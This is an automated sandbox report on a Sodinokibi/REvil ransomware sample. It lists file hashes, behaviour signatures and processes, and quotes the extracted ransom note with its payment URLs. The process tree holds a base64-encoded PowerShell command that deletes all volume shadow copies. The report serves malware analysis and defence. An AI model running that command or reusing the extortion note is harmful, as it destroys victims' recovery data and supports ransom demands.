Analysis

  • max time kernel
    127s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    05-03-2022 19:56

General

  • Target

    758dbaf45722c5d4fddb8770a9fcbad885d89fe4baf5aa7babae764b2580749b.exe

  • Size

    115KB

  • MD5

    57bf129dff8a1e1e40293df1510764ac

  • SHA1

    8ffd6f21464e9dc73ad3c1464da6bcca065f3039

  • SHA256

    758dbaf45722c5d4fddb8770a9fcbad885d89fe4baf5aa7babae764b2580749b

  • SHA512

    b611bed29a2f45f0942cc8ae22006ea905f420ead53204a80f9b5666a5b9d93ce5e9ea5137b4cc0dfe9fdd0531cff92520b11498291fed253c529226123cc059

Score
10/10

Malware Config

Extracted

Path

C:\14512en8v-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 14512en8v. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BFC251FF5A2E50AB 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/BFC251FF5A2E50AB Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: q7Nv68QFKbUzxccixq69n3tyylp/deFrLRDpmOuMnPBqj/UvLM1tEcLiwku5cRrT ZoXTGNHkF8yRPzT4RzJhKm2cuUUIYyvOlzvCQfhXUqHsDVI7Olxm0wyAi1fELJbL 3WIkiH0J/tShoNWGc/mQg4w9kzAZ5SgerGVRny42YiOys4m9wA0aHvr/Bub5S/BL vWxai458Wr3uklj8E2wky1xONAQ+dqXUOuQnLRffpL0rrvpCIIa6ZJxtcmzlvfUE rzyZ8iVGyAM8nljc+fXJdVjgEPrQoiz2K467mEnq3JF//qmosJwJlMB4LHBR/Jv0 DIywWFaDMJyZT+avSZmqxwRk1RjZd7B1dSfwOW9wmpP/5VO1aL4zIuM/ZInYefqJ cbGWOGXP0dkV5Pqq/iUUHayr/0rjMzVimewxKp5lLswoCyEfwr76CgsObNTdaGpS hLKh9ydTG/1Ea7bMda9wc62/KMkn1vJy5N/iOzhoL+vBhp2v4UYoq6K7O4xUWzd0 ifnzRBmz0ATndwBVZVN/lRu81AxGOT9lQcTdWXugT/jVol4iqyJn5JeSWfo6LtPz uYdVk4IVbQ+CJqoxp5eqpkCdJAfqhH7GjNTPJcYJ0G4elME6vf5DldQFC8K6uQ+v O8MoONDJFk8DBZKkyKjLFEBtfRkgbM4iNSqECrDc635GAcdBEkNJ+oqns5uW5uxP dKZTYvtZvBKyYNBrM8zV/tzrz84fBBMU1lxbt99k/ujiFwZiv0A4C8D85qmseOqg jo3i4YZBVSpTjcX2e0moc8l576jV3Z6dgTEKNdtA2d+utwbEuKEIDLu9eocIChSx FnGAwGN1RYJhha8S7IFGMja+/0uLK5verBoS4YGXBBhpWPhnZUNckS/WdJue22EU reAk3TGLFZQg0mnkwRBWQcXSXFPY2NcE/qiD3Sxt2wO7W5vJjyUlC9EouqFbjcIb 5LjxDqllK0l883l+KWR4rYWoDdsGhbZtu5Hg7sCq9lN9ol2FjUUvsps1dlqgNJ6H 1DNaDXXoy6NzcOLJ7jIAZpnAThvVXfJ6mJZAUqBgLd5f/QvuXPvfYMC5T1SDew1/ lXMTcG+m08eS1xzZZbDa9GyNLysoa8Zdxoal+s/JW3V7ruCoWHBU5tkLv6EhPwak GHlyHhk428rkZ4kjbVOeDcOXndN36iyuhxd9oX8mVV5yE2EDcLx5kJDqlERijFtR vHcYa6hX5ka0AnpfdJEzIg5Ew8d3x3ZOFvodlSTR56srUDxJKEBzLbGXoV1o97+s YdDvayrjJehqxSsdys+CC0Z+EiFcgEbR3wMv6tnM0YQ= Extension name: 14512en8v ----------------------------------------------------------------------------------------- !!! !!! !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/BFC251FF5A2E50AB

http://decryptor.cc/BFC251FF5A2E50AB

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\758dbaf45722c5d4fddb8770a9fcbad885d89fe4baf5aa7babae764b2580749b.exe
    "C:\Users\Admin\AppData\Local\Temp\758dbaf45722c5d4fddb8770a9fcbad885d89fe4baf5aa7babae764b2580749b.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3272
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3860
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1920
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2448

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3860-134-0x00000197A5FE0000-0x00000197A6002000-memory.dmp
      Filesize

      136KB

    • memory/3860-138-0x00000197A5FD0000-0x00000197A5FD2000-memory.dmp
      Filesize

      8KB

    • memory/3860-137-0x00007FFC4F190000-0x00007FFC4FC51000-memory.dmp
      Filesize

      10.8MB

    • memory/3860-139-0x00000197A5FD3000-0x00000197A5FD5000-memory.dmp
      Filesize

      8KB

    • memory/3860-140-0x00000197A5FD6000-0x00000197A5FD8000-memory.dmp
      Filesize

      8KB